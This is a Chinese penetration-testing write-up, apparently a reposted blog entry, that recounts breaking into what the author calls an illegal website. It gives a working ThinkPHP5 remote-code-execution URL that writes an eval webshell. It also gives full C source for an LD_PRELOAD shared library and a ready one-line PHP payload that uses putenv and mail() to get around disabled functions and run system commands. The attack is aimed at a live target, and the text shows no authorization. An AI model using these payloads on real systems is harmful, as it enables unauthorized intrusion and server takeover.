您的位置 首页 网络安全

记一次非法站点的艰难渗透

首先要感谢mucn巨佬提供的鼎力相助 目标站:www.xxxx.xxxx 这里注入什么的就不用说了,没什么用,…

首先要感谢mucn巨佬提供的鼎力相助

目标站:www.xxxx.xxxx

这里注入什么的就不用说了,没什么用,我也不发那种拖沓的过程截图了

随手一个admin出现后台 (和若依真像)

账号密码admin/1234 进去后 基本没有什么功能

发现没什么用

不过暴露了一个信息 tp建的

tp 直接拿一波exp打一下 不就完了 (感觉太顺利了就有鬼)

然后命令执行 好家伙 IP无了

看来需要手动一波 这里推荐下mucn哥哥的分享

https://github.com/mulcl/S_mucn/blob/main/RCE/Thinkphp5_RCE.md

这里首先测试一波phpinfo

好的没什么问题

写一波马

?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=136.php&vars[1][1]=<?=eval($_REQUEST[HT]);?>

写入正常(不可能这么顺利吧)

顺手看看是否禁用了一些函数 我努力保持微笑 心想(蚁剑有插件 蚁剑有插件)

(注:哥斯拉和冰蝎全部阵亡 貌似就普通一句话还能打,所以这里用了蚁剑)

用了冰蝎后出现

两者都是一样的效果 如下:

接下来看到这些绿框框我就《放心》了:

再即将开始操作的时候

蚁老师?发生什么事了

看到红框大事不妙 返回web页面刷新一波 我tm又无了

完蛋 这里触及到知识盲区了 没办法 我就是这么菜 要去请教一下巨佬了

通过mucn哥哥分享的一处知识链接 去看了下https://blog.csdn.net/qq_41107295/article/details/98462891?ivk_sa=1024320u

原理:php不允许命令执行,但php可以通过LD_PRELOAD这个东西调用so文件,然后可以通过mile或error_log函数触发执行so文件。所以so文件里可以写一些命令执行的内容,那么此时也就不是php执行命令了,而是so文件执行的系统命令。

这里我vps启动下访问

这里往目录里写个写个TXT测试目标主机是不是可以出网。

可以看见成功输出了我写入的文本

挂一波代理 满血复活

利用网上大佬写的动态调用c脚本

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

编译一波

把编译好的.so上传到vps里。

这里我是挂了代理复活后直接又用一次操作机会将so上传至网站目录内

网上的脚本:<?php    $cmd = $_GET[“cmd”];    $out_path = $_GET[“outpath”];    $evil_cmdline = $cmd . ” > ” . $out_path . ” 2>&1″;    echo “<p> <b>cmdline</b>: ” . $evil_cmdline . “</p>”;    putenv(“EVIL_CMDLINE=” . $evil_cmdline);    $so_path = $_GET[“sopath”];    putenv(“LD_PRELOAD=” . $so_path);    mail(“message”, “”, “”, “”);    echo “<p> <b>output</b>: <br />” . nl2br(file_get_contents($out_path)) . “</p>

修改简化下脚本直接用在一句话木马上:<?php$cmd = “uname -a”;#表示执行的命令$out_path = “/tmp/by”;#so文件接收到执行命令执行后输出到这个文件里(最基本就是得有写入权限,如果没有可能还得修改c源码)$evil_cmdline = $cmd . ” > ” . $out_path . ” 2>%261″;#传递参数值putenv(“EVIL_CMDLINE=” . $evil_cmdline);$so_path = “/www/www/wwwroot/kehu21/03/kh330_cfv4/public/HT666.so”;#so文件路径,一定要对putenv(“LD_PRELOAD=” . $so_path);#调用so文件mail(“message”, “”, “”, “”);#通过mile函数触发这个so文件并且执行echo “output: “

最后把这些函数给写成一行也就可以直接网页执行了。Paylaod:

HT=$cmd = “whoami”;$out_path = “/tmp/by”;$evil_cmdline = $cmd . ” > ” . $out_path . ” 2>%261″;putenv(“EVIL_CMDLINE=” . $evil_cmdline);$so_path = “/www/www/wwwroot/kehu21/03/kh330_cfv4/public/HT666.so”;putenv(“LD_PRELOAD=” . $so_path);mail(“message”, “”, “”, “”);echo “output:” . file_get_contents($out_path);unlink($out_path);

成功命令执行:

本文来自网络,不代表F12sec立场,转载请注明出处:http://www.0dayhack.net/index.php/2449/

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注

CAPTCHAis initialing...
联系我们

联系我们

QQ群:884338047

在线咨询: QQ交谈

邮箱: 2676666667@qq.com

工作时间:周一至周五,9:00-17:30,节假日休息

关注微信
微信扫一扫关注我们

微信扫一扫关注我们

关注微博
返回顶部